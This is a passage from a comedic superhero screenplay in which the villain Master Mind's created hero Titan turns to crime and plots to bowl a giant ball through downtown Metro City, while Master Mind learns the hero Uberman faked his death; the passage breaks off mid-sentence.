You...just...seem... Master Mind tightens his grip. MASTER MIND Go on. PLATO ...distracted. Master Mind releases him. MASTER MIND Just with business, my minion. Just with business. I've decided it is time. PLATO You mean? MASTER MIND Yes, we've created our hero, now it's time to give him a little motivation. DA VINCI How do we do that? MASTER MIND To be simply good is not enough. A hero must be driven by an almost relentless desire to right a wrong that can never be corrected. PLATO You mean? MASTER MIND Yes, he must lose someone near and dear to him - his father figure. Gentlemen, it's time for Operation Mentor Kill! EXT. SKY OVER METRO CITY - DAY Titan flies high over and through the city, under bridges, between buildings, etc. He's not really working, just enjoying himself. 71. INT. WOMAN'S APARTMENT - NIGHT A PRETTY WOMAN sits at her makeup table wearing nothing but her bra and panties. Through the reflection in her mirror we see a large window directly behind her. As she applies lipstick we see Titan fly quickly by in the background. After a moment he slowly slides back in view and begins ogling the girl. She sees him in the mirror and quickly covers herself with a robe. Titan tries to hide his face as he zooms off. MOMENTS LATER Titan looks down to see an APARTMENT BUILDING IN RUIN. Emergency lights flash around it as swarms of people run around in chaos. TITAN Man, what the hell happened down there? Wait a sec - He stops in mid-air as he comes to the striking realization. TITAN (CONT'D) THAT'S MY APARTMENT!!! EXT. HAL'S APARTMENT BUILDING - DAY Titan lands in front of the rubble that was once his home. Reporters stand just beyond the police line. TITAN Crap. From the wreckage crawls a dying Pat Morita. TITAN (CONT'D) PAT! Titan goes and kneels beside Pat, holding him in his arms. TITAN (CONT'D) You okay? "PAT MORITA" I'm dying, kid. There is just one last lesson I have for you. It is the most important of all. 72. TITAN What's that? "PAT MORITA" Master Mind did this, you must avenge me. TITAN Master Mind? Why? "PAT MORITA" Because he's evil. You must stop the evil Hal - stop the... Pat's body goes limp. The cameras begin to pop and flash around them. Titan gently lays Pat's body down and stands respectfully over him. The reporters rush over. REPORTER 1 Tighten, Is this the work of Master Mind? REPORTER 2 How will the death of your mentor affect your resolve? REPORTER 3 Was that Pat Morita? Titan walks up to one of the cameras. TITAN This injustice will not go unpunished. Master Mind, if you can hear me, Tighten is coming for you. In the background we see Plato and Da Vinci, DRESSED AS PARAMEDICS, load pat's body onto a stretcher. PLATO ACCIDENTALLY DROPS HIS SIDE. As he bends down to pick it back up, Pat quickly slaps him, then goes back to playing dead. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind and the boys prepare the fortress for Hal's revenge attack. Master Mind is as giddy as a schoolboy. 73. MASTER MIND Alright, people, we don't have much time. Titan should be here any minute, so let's get the lead out. There is a GIANT MOUNTED DEATH RAY in the middle of the hall being tinkered with by Da Vinci. MASTER MIND (CONT'D) How's the death ray coming? DA VINCI Nearly up to full power, sir. MASTER MIND Hum. Let's turn it down a few notches. It's his first time and we don't want to get in a lucky shot, now do we? Plato enters the room. MASTER MIND (CONT'D) Anything on the radar yet? PLATO Not yet, sir. MASTER MIND I see. Well, he must be planning something big. Are the flame androids deployed? PLATO All twelve. Master Mind rubs his hands in anticipation as he sits down on his throne. MASTER MIND Wonderful, wonderful. Plato, Da Vinci, take your places next to me. They move to either side of the chair. MASTER MIND (CONT'D) No slouching. Da Vinci straightens up and sucks in his gut. They remain this way for several long moments. Master Mind occasionally glances at a DIGITAL CLOCK on the wall. Still no Titan. 74. LATER Apparently quite some time has passed. The bold stances have degraded to fatigue. PLATO He's certainly taking his time. MASTER MIND He'll be here. That's the way it works. STILL LATER Master Mind reclines in his chair and taps his metal gauntlet impatiently on the armrest. Plato has squatted down, resting his chin on his hand. MASTER MIND (CONT'D) Unprofessional, that's what this is. No, it's disrespect for the craft. Master Mind rises and begins to pace back and forth. MASTER MIND (CONT'D) Would Uberman have kept us waiting like this? Of course not. He was a pro who knew the score. It's time we spelled out a few things for this Titan. I will not be made a fool of. He storms out of the room. INT. HAL'S NEW APARTMENT - DAY Titan's sitting on the floor in a barren apartment wearing his costume top and some tighty whities. He sips his beer as he watches a basketball game on a tiny TV. Much to his annoyance, there's a KNOCK at the door. TITAN Oh, for crying out loud. He gets up and opens the door. It's Master Mind. MASTER MIND Do you know who I am? 75. It takes a few moments to register, but Titan's suddenly excited. TITAN Yeah, you're Master Mind. Yeah! You're actually the guy I want to see! MASTER MIND Oh, so NOW you want to get down to it. Well, I want to get a few things off my chest first. Master Mind walks past Titan into the apartment. He spins around, pointing at him accusingly with one of his metal fingers. MASTER MIND (CONT'D) Of all the inconsiderate - Do you have any idea how long we waited for you? We're you even planning on coming to me and getting revenge? Titan shuts the apartment door, and turns back toward his guest. TITAN Well, at first I was going to. You know, because that's what I figured I was supposed to do. But then I got to thinking- MASTER MIND (interrupting) -You got to thinking? There's nothing to think about. I'm the villain. I do something bad, you come and get me. TITAN - I got to thinking...what's the point? Master Mind throws up his hands. MASTER MIND Maybe you're right. What's the point? He suddenly notices something in the corner of his eye. He walks over to a futon in the living room. On top of it is a LARGE SACK OVERFLOWING WITH GOLD WATCHES,RINGS AND OTHER VALUABLES. 76. MASTER MIND (CONT'D) What are these? TITAN That's what I wanted to talk to you about. MASTER MIND (baffled) Where did you get all this? TITAN (proudly) Get this: I stole them. MASTER MIND From where? TITAN From all over. You see, once you killed Pat and ruined my other apartment building I was pretty pissed off, so I figured I'd go, find you and kick some ass. Then I thought to myself: "Okay,then what?" I mean, if we were to fight, what would I get out of it? Would I get my apartment back? Would I be able to pay the bills? MASTER MIND Well, what about your mentor? TITAN Tell you the truth? He was kind of a dick. I mean, being a hero is dandy and all, but it's volunteer work. Now you've always had the right take on all this. I mean, when you rob a bank or take over the diamond exchange you get something out of it. I mean, when you don't get caught, which, no offense, isn't very often. And that brings me to what I wanted to propose to you: Who could catch you if I'm by your side? Perplexed by his proposal, Master Mind just stares at Titan awe-struck. MASTER MIND You want to team-up? 77. TITAN You got the brains, I got the brawn. We could even call ourselves that: `Brain' and `Brawn'. Look at this. Titan picks up a piece of POSTER BOARD off the floor and shows it to Master Mind. TITAN (CONT'D) I even designed us some new costumes. The picture is crudely drawn with magic markers and crayons. A big headed man (Master Mind) is standing on a plate of grass in a blue costume with a picture of a brain on his chest. Next to him, is a picture of Titan in a red costume with a black cape, but his chest is mysteriously blank. Titan proudly points to the two figures. TITAN (CONT'D) See, you'd be brain, so you got a little one on your costume, and then I'll have brawn on mine...once I figure out the best, you know, visual interpretation of it. What do you think? MASTER MIND What do I think? Master Mind shakes his head tiredly. MASTER MIND (CONT'D) I think you're probably the biggest idiot I've ever met. I mean, I can't believe you. All your gifts, all your powers, and all you want to use them for is your own financial fulfillment. You know what? Your kind of people make me sick. Titan puts down his drawing. TITAN I worked hard on this. MASTER MIND Oh - gee - I am so sorry! 78. Master Mind looks to Heaven in disgust. MASTER MIND (CONT'D) (under his breath) Of all the people to pick, it had to be this loser. This strikes a cord with Titan. TITAN Now, hold on. You're going a little too far. MASTER MIND I wish your mother said that to your father the night of your conception, they would have saved me a whole lot of heartache. TITAN Hey, I mean it. Master Mind gets right in his face. MASTER MIND Oh, yeah? What are you gonna do? EXT. HAL'S APARTMENT BUILDING - DAY We see Master Mind's body CRASH through the building and land in a DUMPSTER across the street. A car pulls up. The driver's door opens. Da Vinci gets out and runs to help his master. DA VINCI Master! MASTER MIND (O.S.) It hurts. Da Vinci peeks into the dumpster to see Master Mind's body cushioned by a stack of trash bags. DA VINCI What hurts? MASTER MIND It! The overly large henchmen starts to pull his master from the dumpster when they suddenly hear a voice from above. It's Titan peeking through the hole in his apartment wall. 79. TITAN I don't need you, I don't need anybody. I have the power to do and take anything I want. And now, I'm gonna take back everything this city owes me. Beware Metro City, it's time for Titan to collect. Titan shoots up into the air. TITAN (CONT'D) Oh, and from now on - I'M GONNA FLY THE WAY I WANT TO FLY! He takes a sitting position and flies away as if he were piloting an invisible jet. Master Mind climbs out of the dumpster and watches Titan disappear into the distance. DA VINCI How'd the plan go, boss? MASTER MIND I just made myself redundant, old friend. Da Vinci gives Master Mind a whiff. DA VINCI It's not that bad. INT. BANK - DAY Titan, with a happy bounce in his step, enters the bank. The last time he was here he thwarted a robbery. He looks nostalgic. A SECURITY GUARD shyly walks up to him like a kid meeting his TV idol. SECURITY GUARD Morning, Tighten. TITAN Morning. SECURITY GUARD Is there something we can do for you? 80. TITAN Oh, don't bother about me. I'm just here to make a withdrawal. Titan walks across the lobby, drawing stares of admiration from all. A little girl waves to him sweetly. He gives her a good- natured WINK as he heads straight for the vault. The security guard watches him enter and come out with a SACK OF CASH. Sure he must be misunderstanding what's going on, the security guard just stares at Titan as he passes by and out the door. The bank manager comes over to the guard. BANK MANAGER Say, did he just rob us? SECURITY GUARD Not sure. Sort of looks it, don't it? BANK MANAGER Yeah. SECURITY GUARD Should I, you know, stop him? BANK MANAGER Umm...Yeah. As the security guard exits the bank, the manager stares out the window. His eyes suddenly grow wide with terror. The guard's body suddenly smashes through the window, landing at the startled bank manager's feet. BANK MANAGER (CONT'D) (looking down at the guard) He did rob us, didn't he? CUT TO: TELEVISION "A Channel 7 News Special Report." Brad Helms wipes into view. 81. BRAD HELMS "Absolute power corrupts absolutely." When Lord Acton stated that, in a letter to Bishop Mandell Creighton in 1887, no one thought much about it, but today Metro City is reeling from that very prophecy. Tighten, who many thought of as our savior, has turned his back on the cause of justice. CUT TO: TITAN BEING EVIL - MONTAGE EXT. DIAMOND EXCHANGE - DAY Titan flies through the window of the building. He emerges seconds later laughing with his shirt full of booty. EXT. CITY STREET - DAY A woman screams from the window of a BURNING BUILDING. Titan flies up to her, grabs her fur coat and zooms off again, leaving the woman behind, slightly confused. EXT. OUTSIDE MARKET - DAY Titan steals a little boy's lollipop and gooses his mother. EXT. CITY STREET - DAY Dozens of people run through the streets apparently to get out of a downpour. We cut to the top of a building and see Titan ZIPPING UP HIS PANTS and laughing. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind paces back and forth in front of Plato and Da Vinci. PLATO I don't understand it. He seemed to have every characteristic we were looking for in a superhero. MASTER MIND Well, there's no use crying about it now, we must take action. I'm not going to play second fiddle to that crass buffoon. We must destroy Tighten. 82. PLATO It won't be easy. Uberman had a sense of decency and genuine love for the people. That was his weakness and was easily used against him. MASTER MIND Yes, but he possesses the same flaws present in Uberman's DNA - copper. It's like Benjamin Franklin always said: "If something works don't dick with it." EXT. BAR - DAY It looks like a war zone passed through here. Smashed police cars and debris lay everywhere. This seems to be the only building left untouched. INT. BAR - DAY A very tipsy Titan is sitting at the bar, looking deep into the bottom of his beer glass for answers. TITAN I can have anything I want. I'm like a god. The BARTENDER just listens as he wipes down a glass with a dirty rag. TITAN Point to any woman in this bar. I could have her in a second. He follows the bartender's gaze to THE ONLY OTHER PERSON THERE - A passed out, MIDDLE AGED HAG OF A BARFLY. TITAN (to Old Barfly) Hey, you wanna get with this? BARTENDER Buddy, what do you want? Titan carefully considers this for a moment. TITAN What do you want? That's the question, isn't it. I mean, what do you want when you can have everything? (MORE) 83. TITAN(cont'd) I suppose what I really want is to never be forgotten again. I want to do something that can never be cast aside or one-upped. I want a - what's it called? - A legacy. I want a legacy. Yeah, that's it. I like the sound that. BARTENDER I meant, what do you want to drink? TITAN Oh. EXT. BAR - LATER Titan stumbles out of the bar, carrying a large sack of money. MASTER MIND (O.S.) Your time has come to an end, Titan! He looks up to see Master Mind suddenly standing before him. TITAN What? MASTER MIND There can be only one master criminal in this city - and it's me. TITAN Really? Titan melodramatically throws up his arms. TITAN (CONT'D) I guess I should leave town then, huh? MASTER MIND I have a better idea - NOW! Two floors up Da Vinci releases a rope. A COPPER CAGE, like the one that caged Uberman, drops down on top of Titan. Titan nonchalantly surveys the cage. He walks to the bars, tries to pull them apart but can't. MASTER MIND (CONT'D) That's copper my good man. Your one weakness. (MORE) 84. MASTER MIND(cont'd) For all your amazing gifts of brawn you are no match for my intellect. Titan thinks for a moment. Suddenly, he starts to SPIN like a human top, DRILLING HIMSELF INTO THE STREET BELOW. As he disappears beneath the surface, we see a shocked look on Master Mind's face until Titan suddenly explodes out from under the street in front of him. Master Mind stares up at him, dumbfounded. Titan makes like he's going to strike him down, but stops. TITAN You know what? You're nothing but a bug. Not even worth my effort. He turns his back to Master Mind and continues down the street. Plato makes his way from the shadows to join his master. They watch Titan shrink into the distance. MASTER MIND He's not as dumb as I thought. PLATO I guess not...Funny, though. MASTER MIND What's funny? PLATO Funny Uberman didn't think of the same thing. EXT. HIGH ABOVE METRO CITY - DAY As Titan flies, he looks down at the rooftops of the city below. Suddenly, something catches his attention. HAL That's it! He stops, hovering in place as he looks down below. The buildings, which make up the heart of downtown Metro, are in a PERFECT TRIANGLE with a long strip of street leading up to it. It sorta looks like a bowling lane. 85. HAL Hello, Legacy. EXT. KINGPIN BOWLING - DAY Vinnie and his goons come running out as the hear a COMMOTION. They look up to see Titan ripping off THE GIANT BOWLING BALL from the top of the establishment. VINNIE Hey, that's my ball! INT. ROXANNE'S APARTMENT BUILDING - DAY Roxanne enters the building's elevator. Just before the door closes an ELDERLY WOMAN slides in. ELDERLY WOMAN That was a close one. Sixth floor, please. Roxanne smiles and goes to press the button. The elderly woman suddenly pulls out a SPRAY CAN, shooting a MYSTERIOUS-LOOKING MIST into Roxanne's face. She falls to the floor unconscious. INT. ROXANNE'S APARTMENT - DAY Roxanne awakens, finding herself tied to a chair in her living room. We hear NOISE from a TV in the background as she tries to adjust her vision. Slowly, the blurry figure before her becomes clear. It's Master Mind. He sits on her Lazy-Boy, reading what looks to be some kind of JOURNAL. MASTER MIND Wow, I always thought Uberman was your first superhero - but it looks like our little Roxanne dated a linebacker in college. ROXANNE That's my diary. MASTER MIND So it is. 86. ROXANNE It's personal. MASTER MIND Well, then I wouldn't leave it in your underwear drawer for just anyone to find. He throws the diary over his shoulder. ROXANNE What do you want? MASTER MIND I need your help. ROXANNE So you knock me out and tie me to a chair? MASTER MIND You're not going to like what I'm about to tell you. As she tries to shake off her headache from being knocked unconscious, Roxanne spots something on the TV. ON TELEVISION Brad Helms is huddled behind a van. BRAD HELMS It's chaos here in city square as city police - Behind him, Titan picks up a POLICE CAR and throws it at a PADDY WAGON. Both vehicles EXPLODE on impact. BACK TO SCENE ROXANNE He's really out of control. MASTER MIND Tell me about it. As if finally realizing something, Roxanne looks back at Master Mind. ROXANNE I should have known. You have something to do with this, don't you? - With Titan turning evil. 87. MASTER MIND Well, the evil thing he did by himself. My goal was to give MYSELF purpose by creating an intellectual sparring partner. ROXANNE (confused) You're talking like you made him. MASTER MIND And they call me Master Mind. ROXANNE Let me get this straight. You missed getting your ass kicked, so you made a new guy to kick your ass. That's pathetic. MASTER MIND In hindsight... Roxanne turns back to the TV to see a group of POLICE OFFICERS open fire on Titan. The bullets just deflect off his chest. ROXANNE And his powers, they're just like Uberman's. Why would he have his powers? MASTER MIND (almost ashamed) I had some left over from something. I infused him with it. ROXANNE YOU DID WHAT!? Driven by rage, she struggles to tear out of her bonds. She finally relents, giving Master Mind a look fueled by pure hatred. MASTER MIND Yeah, that's why I decided to tie you up. ROXANNE You did all this because you wanted purpose? MASTER MIND He seemed nice. 88. TELEVISION Titan is standing on top of a destroyed police car. He waves for the camera to zoom in on him. TITAN Closer. I want to show the people my real face. He pulls off his mask, revealing himself as Hal Stewart to the public for the first time. TITAN (CONT'D) Recognize me? BACK TO SCENE ROXANNE Hal Stewart. He's the guy we thought saved that woman and kid. Turned out he was just trying to save his own ass. MASTER MIND Yeah, good to know - NOW! TELEVISION Titan throws the mask over this shoulder and hops off the car. TITAN That's right, I'm really Hal Stewart. Former hero and bowling teacher at Kingpin's Bowling. BACK TO SCENE Roxanne turns to Master Mind, condescending him with her eyes. ROXANNE You picked a bowler to give super powers to? MASTER MIND It's a modest profession! TELEVISION 89. TITAN With my new found power, I've recently started to wonder what sort of legacy I should leave. Should I be a hero? I tried that once before - even saved a lady and her baby from being squashed. I was treated like a god until everyone started to shit on me - Okay, so what if I didn't "purposely" save them! He walks over and puts his hand on a large circular concrete shape just off camera. TITAN Well, I'm going to make something that can't be taken away from me. I'm going to create a permanent monument to my greatness. One that won't be so easily forgotten or erased. The camera pulls back revealing THE GIANT CONCRETE BOWLING BALL from Kingpin's. TITAN I intend to create a new category in the Guinness Book of World's Records by rolling the biggest strike in the history of bowling. He grabs the camera and points it to the DOWNTOWN BUILDINGS. We realize they are PERFECTLY ALIGNED IN BOWLING PIN FORMATION. TITAN My thanks to the city planning commission. This wouldn't have been possible without them. Titan grabs the camera so it's pointing back at him again. TITAN Tell your friends and family to tune in right here to this station at noon tomorrow. BACK TO SCENE ROXANNE My god, he's nuts. That'll destroy the whole business triangle. 90. Master Mind seems to be contemplating something - something bad. ROXANNE What? MASTER MIND My lair is in the direct path of the ball. ROXANNE Oh, real nice. Wouldn't want anything to happen to your hideout, would we? MASTER MIND You don't understand. I have certain equipment that's - that's highly unstable. ROXANNE What do you mean? MASTER MIND I sort of have a hydrogen reactor, okay? ROXANNE A HYDROGEN reactor? MASTER MIND It's experimental - only one in the world...Well, how do you think I power all my inventions? Someone like me can't pay for electricity. The bills would be outrageous. ROXANNE A REACTOR? MASTER MIND It creates 100 times the output of a nuclear one...If destroyed it could... ROXANNE - Vaporize the entire city! MASTER MIND (proudly) Pshaw...the whole eastern seaboard, actually. That little baby is amazing. I'm quite proud of it. (MORE) 91. MASTER MIND(cont'd) (off her deadpan reaction) I mean...we'd better find a way to stop him. Master Mind thinks a moment. MASTER MIND Did Uberman have a hideout? ROXANNE What? MASTER MIND A cave, a solitary fortress of some kind. C'mon, all heros have a place to hang their capes up in. Roxanne, it may be our only chance to find something, a clue, anything that could give us a fighting chance. ROXANNE It's under his house. MASTER MIND Whose house? Roxanne can hardly believe what she's telling him. ROXANNE Wayne Scott's. Master Mind shoots up out of his chair. MASTER MIND Wayne Scott? Uberman was Wayne Scott!? Wayne Scott, the wealthy philanthropist? But he disappeared - ROXANNE (interrupting) He disappeared just over two months ago when you killed him. Not only did you rid the world of a hero, you killed a kind, noble, generous man. Perhaps ashamed, the super villain hangs his head. Master Mind walks behind Roxanne and undoes her bonds. Rubbing her wrists, she watches him as he walks over to the door. 92. ROXANNE (CONT'D) Looks like you got what you always wanted. Uberman is out of the picture and Metro City is doomed. He grabs the door knob and stops, considering her words. MASTER MIND "Metro City doomed." You know, I never thought I'd say something like this, but here it goes - He slowly turns to her, CUE HEROIC MUSIC. MASTER MIND (CONT'D) Not if I have anything to say about it. EXT. WAYNE SCOTT'S MANSION - NIGHT Master Mind stands before the huge, Gothic structure in awe. MASTER MIND Such a dark place for one such as you. I wonder, underneath your noble deeds, what inner demons drove you to your endless crusade for justice? He walks to the front entrance. The double doors have been sealed shut with boards and nails. Master Mind begins to tear them off with his metal hand. INT. WAYNE SCOTT'S MANSION - NIGHT The doors opens. A beam of moonlight immediately pierces the darkness, forming an illuminated path into the heart of the manor. Master Mind enters. Covered in dust and cobwebs, the hall looks like a gigantic crypt. MASTER MIND Good lord, man. You've only been dead for two months. Master Mind walks, coming to a gigantic painted PORTRAIT OF WAYNE SCOTT. He stops to reverently admire the image of his fallen foe. 93. MASTER MIND (CONT'D) A disguise so simple, it's ingenious. No wonder I never caught on. Besides the Armani suit, there's nothing to hide the fact that this is the same person as Uberman. In the picture, he's even standing in the same cheesy, heroic pose with his fists on his hips. MASTER MIND (CONT'D) Two lives, yet in both you were an ideal. Perhaps it was you who was victorious in the end, old friend. A BONGING sound suddenly bellows through the dark halls. Master Mind comes to a grandfather clock standing next to a gigantic BOOKCASE. On the twelfth bong it falls silent. Master Mind begins to slide it across the floor until he hears a loud CLICK. The bookcase slides into the wall, REVEALING A HIDDEN PASSAGE. MASTER MIND (CONT'D) I'll miss how predictable you were. The passage way leads Master Mind to a WORKING ESCALATOR. Master Mind gets off the escalator to see a long hallway with stone walls. He begins to hear strange SOUNDS, almost like MUFFLED SCREAMS, coming from a doorway at the end of the hallway. Master Mind starts walking towards it. As he steps closer, he begins to notice a light cracking through the bottom of the door. MASTER MIND (CONT'D) Hello? Anyone here...besides..all the BIG MEN who are with me now? Nothing. MASTER MIND (CONT'D) (to himself) What's the worst you're gonna find? (MORE) 94. MASTER MIND(cont'd) The man was a boy scout, not a serial killer. He opens the door to his immediate amazement. It's some kind of screening room. A PROJECTOR shoots an image onto A DIRTY WHITE SCREEN hanging on the wall. BEER CANS litter the floor; a table in front of a ripped-up couch is covered in discarded snack goods; and a Kiss Pinball machine stands in the far corner next to a CLOSED DOOR. Master Mind turns his attention to the action on the screen. SCREEN A woman dressed in a leather DOMINATRIX OUTFIT is whipping an overweight man lying on a swing-like device with his butt sticking out. DOMINATRIX IN FILM YOU ARE A WORM! She whips him three times. The man CRIES out in pain. FAT MAN IN FILM PINEAPPLE!!! PINEAPPLE!!! Master Mind's eyes are transfixed on the disturbing imagery. The door by the pinball machine suddenly swings open. WAYNE SCOTT, dressed in raggedy sweats, steps into the room carrying a CAN OF BEER and a bowl of JIFFY-POP. Master Mind cannot believe his horrified eyes. MASTER MIND Ahhhhhh! Wayne Scott is just as startled. WAYNE SCOTT Jesus! He drop his drink and snack to the floor. The two men stare at each other as they struggle to regain their normal breathing patterns. Wayne Scott walks over to the couch, brushes off a thick layer of chip crumbs, and sits down. WAYNE SCOTT (CONT'D) What the hell are you doing here? 95. MASTER MIND I might just ask you the same question. I had thought I incinerated you. WAYNE SCOTT You scared the bejesus out of me. How'd you figure out I was still alive? Wait, how do you know my identity!? MASTER MIND Roxanne told me. As for your ruse, I forgot to line the bottom of the copper cage - Somebody pointed that out to me recently. Figured if they could do it, so could you. But one thing I couldn't figure out - WAYNE SCOTT The skeleton? Something I "borrowed" from a medical school a few months before. MASTER MIND A few months? How long had you been planning this? WAYNE SCOTT I always planned to retire - eventually. I mean, come on, you can't do this sort of thing in your fifties. You'd just look ridiculous. The pieces of the puzzle appear to be coming together in Master Mind's head. MASTER MIND I see it all so clearly now. INT. MASTER MIND'S HYDROFOIL - FLASHBACK Master Mind and his minions cover their eyes as the observatory explodes. MASTER MIND (CONT'D - V.O.) You must have done it just seconds before the observatory exploded. 96. INT. OBSERVATORY - FLASHBACK Similar to what Titan did, Uberman bores out from under the cage. MASTER MIND (CONT'D - V.O.) You bore out from under the cage. Then, using your Uber-Speed, - EXT. OBSERVATORY - FLASHBACK Running in a blur-like haze, Uberman screeches to a halt in front of some bushes. MASTER MIND (CONT'D - V.O.) - you made your way to safety, where you had the skeleton safely hidden away somewhere. EXT OBSERVATORY - SKY - DAY Uberman soars high above the clouds. He looks down at the observatory, which is a mere speck in the distance. MASTER MIND (CONT'D - V.O) (CONT'D) Then you must have flown to a safe distance and waited for the explosion, then... Just as the observatory explodes Uberman aims and throws the SKELETON like a javelin. It soars through the air like a missile, tearing through the flames of the explosion, and crashing right into the windshield of Master Mind's hydrofoil. END OF FLASHBACK Wayne stares at Master Mind, clearly impressed. WAYNE Man, you ARE smart. MASTER MIND But why fake your death? Why go through all of it? You could have just quit. WAYNE SCOTT But the responsibility would still be there. (MORE) 97. WAYNE SCOTT(cont'd) A cop can retire and stop handing out speeding tickets - but people expect more from superheroes. I tell you, a volcano couldn't erupt in Zimbabwe without everyone expecting me to do something about it. I figured, out of sight, out of mind. MASTER MIND And Wayne Scott? Why did he have to disappear? WAYNE SCOTT Both of my lives have so much baggage. It's time for new baggage, you know? Master Mind's is absolutely flabbergasted. MASTER MIND I just can't believe it. This whole time you've been in hiding while a force of great evil is tearing your city apart? Wayne rises to his feet, waving his hands for Master Mind to say no more. WAYNE SCOTT I don't want to hear about it. That's why I don't have a television in here to remind me of all the things I SHOULD be doing. Hell, I could get a wife to do that. MASTER MIND There's a demented supervillain out there about to destroy our - I mean, your city. Wayne shrugs indifferently. MASTER MIND You're really going to do nothing? WAYNE SCOTT Good and evil have a way of balancing themselves out. If this guy is as bad as you say, somebody will rise up to fight him. It's just the order of things. You found me, didn't you? 98. Wayne puts a condescending hand on Master Mind's shoulder. WAYNE SCOTT (CONT'D) I know it's hard, but you'll find someone else someday. He then starts walking to the door. MASTER MIND You're the only one who can stop him. Wayne turns around. WAYNE SCOTT Couldn't if I wanted to. Gotta a plane to catch. MASTER MIND A plane? WAYNE SCOTT Going to Barbados for a little change in climate. Now, if you'll excuse me, I got to go pack. He reads the still defeated look on Master Mind's face. WAYNE SCOTT (CONT'D) You were a good foe. I'm sorry if I've let you down. If it makes a difference, you were the best foe a hero could ask for. MASTER MIND Not smart enough to come up with a full-proof trap. WAYNE SCOTT Well, you did almost have me when you figured out my weakness was copper. Now that made me sweat a little. Took me way too long to drill out from under that cage. MASTER MIND I got lucky. WAYNE SCOTT Anyway, it's a good thing for my sake that I could always count on you for an out. 99. MASTER MIND (suddenly confused) What do you mean? WAYNE SCOTT C'mon, we always threw each other a couple of bones. You would always leave me an out in one of your `full-proof' traps, and I'd never had you incarcerated at a penitentiary that you couldn't eventually escape from. It kept our little game going. Master Mind seems deflated. MASTER MIND Game? - Was that all this ever was to you? You know, I was trying my best every time I fought you. Those `outs' as you call them were unintentional. WAYNE SCOTT Oh. MASTER MIND I guess I was never really a match for you, was I? Wayne shrugs. MASTER MIND (CONT'D) (thoughtfully) Then how can I expect to be one for Titan? A beaten man, Master Mind heads for the door, but stops and turns around. MASTER MIND (CONT'D) What about Roxanne? Wayne unleashes an exhausted sigh. WAYNE SCOTT I think we both got what we wanted out of our relationship. She got a career out of me, and I got plenty of other things out of her. But I'm ready to move on to greener pastures. 100. Master Mind's steel hand clinches into a fist at his side. Wayne's oblivious to this. MASTER MIND I guess I wasn't the villain I thought I was, and you...you weren't the hero I thought you were. He turns to make his exit when he suddenly sees ROXANNE STANDING IN THE DOOR FRAME. Wayne is almost at a loss for words. WAYNE SCOTT Roxanne! How long have you been... ROXANNE Long enough. Roxanne looks at Master Mind. ROXANNE (CONT'D) Don't you have something else you can go do? Master Mind leaves Roxanne and Wayne facing each other in silence. EXT. ANOTHER BAR - DAY Titan emerges with Brad and Frank. He's holding a BEER CAN and a bag of PORK RINDS. TITAN Alright, I want this whole thing to look ESPN professional, understand? A distant MECHANIZED RUMBLE can be heard. The noise rises, signaling the approach of something powerful. Titan and his crew walk out to the center of the plaza as the sound becomes almost deafening. A TANK TRACK as it moves over the street. We PULL BACK to see a whole line of TANKS rolling along the street. PLAZA From the five streets branching off the plaza, a dozen tanks roll toward Titan. 101. Titan turns to Brad and Frank. TITAN (CONT'D) You guys are about to get some good footage. I might need a little room, though. Brad and Frank look at each other and run to take cover behind a nearby building. Meanwhile, Titan nonchalantly sips from his beer as the tanks begin to surround them. FEEDBACK belts out of one of the tank's loudspeaker's, causing Titan to do a mock wince. TANK LOUDSPEAKER Titan, we have orders from the city of Metro to take you into custody. If you do not give your self up willingly, we will be forced to open fire. There's a long pause as no one says anything. TANK LOUDSPEAKER What is your answer? Titan takes a sip of his beverage and UNLEASHES A GIGANTIC BURP - The shockwave of which sends several of the tanks flying into a nearby building. Two of the remaining tanks close in on the villain. Both have him dead to rights at point-blank range with their massive guns. Titan sets down his beer, then calmly plugs a fist into each barrel. They FIRE. The FORCE OF THE BLAST SENDS THEM BOTH FLYING IN OPPOSITE DIRECTIONS where they CRASH into nearby buildings. Titan bends down and pick his beet back up. TITAN (to beer) Miss me? Titan is suddenly bombarded by a massive barrage of machine- gun fire. The force sends him flying into the windshield of a nearby car. 102. He looks up to see an APACHE ASSAULT COPTER. It's nose- mounted GATLING-GUN is turning toward him. Titan gets up to his feet and looks down at his beer can. The bottom of it was blown apart in the blast. TITAN (CONT'D) Didn't mean to get you involved in all of this. He stared daggers up at the helicopter pilot just as the gun gets a bead on him. TITAN (CONT'D) Hey, man! You killed my suds! Titan throws the can up and slaps it with the palm of his hand. It flies with so much force it knocks the helicopter blade clean off. The rest of the Apache crashes to the street like a car dropped off a building. TITAN (CONT'D) That's one was for you, beer. Titan salutes the wreckage and walks away to find Brad and Frank still hiding behind the building. TITAN Guys, please tell me you got that last bit. BRAD HELMS Huh? TITAN You're kidding me. I give you my sexiest moves and you mean to tell me it was for nothing? BRAD HELMS We were afraid something might hit us. TITAN Looks like I've given the story of the century to the wrong man. He thinks about this for a moment, then it hits him. 103. TITAN Wait. What about that other reporter. Blond. Not so lumpy on the topper half, but killer legs. BRAD HELMS Roxanne. You want Roxanne. She's a much better reporter than I am. You want her. TITAN Where can I find her. FRANK We're actually not supposed to give out that sort of information. BRAD HELMS 1314 Mockingbird Lane. I believe she lives in a penthouse. TITAN You've been very helpful. He tosses Brad over his shoulder like a discarded ice cream cone. In the faint distance we see him splash down in the middle of the Metro City river. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind, pacing anxiously as Plato and Da Vinci pack boxes. Obviously Master Mind is going on the lamb. MASTER MIND Hurry, we must be on our way as soon as possible. DA VINCI Master, why must we flee? MASTER MIND I told you, Titan is too powerful. If he's set on destroying us, there's precious little we could do about it. DA VINCI Where are we going? 104. MASTER MIND To another city, someplace with a shitload of superheroes to fight. We'll start over, we'll go back to doing what we do best. PLATO With our tails between our legs? The old Master Mind would never have let this comment slip by, but as we have seen, he's not the same man. MASTER MIND Plato, do you have a better plan?! Master Mind's cell phone rings. He turns in shame from his men and answers it. MASTER MIND (CONT'D) Hello...Roxanne? INT. ROXANNE'S APARTMENT Roxanne paces back and forth on the phone. ROXANNE What are you going to do about Tighten? INTERCUT between Master Mind and Roxanne on phone. MASTER MIND Right now I'm packing, later I'll have a snack on the train. ROXANNE You're running away? MASTER MIND In a word - yes. ROXANNE You created this monster... MASTER MIND I didn't create this - the god's of irony did and I am eating the crow I so richly deserve. ROXANNE There's no time for self pity. 105. MASTER MIND I'll make the time. Roxanne can't believe what she's hearing. MASTER MIND (CONT'D) You can leave with us. You'll be safe. ROXANNE I'm not going anywhere. MASTER MIND Will you listen to me, no one can stop him. ROXANNE You have to try. The city needs your help. MASTER MIND I'm afraid you have an inflated opinion of me. ROXANNE What the hell's happened to you? The Master Mind I knew would never have run from a fight even though he knew deep in his heart that 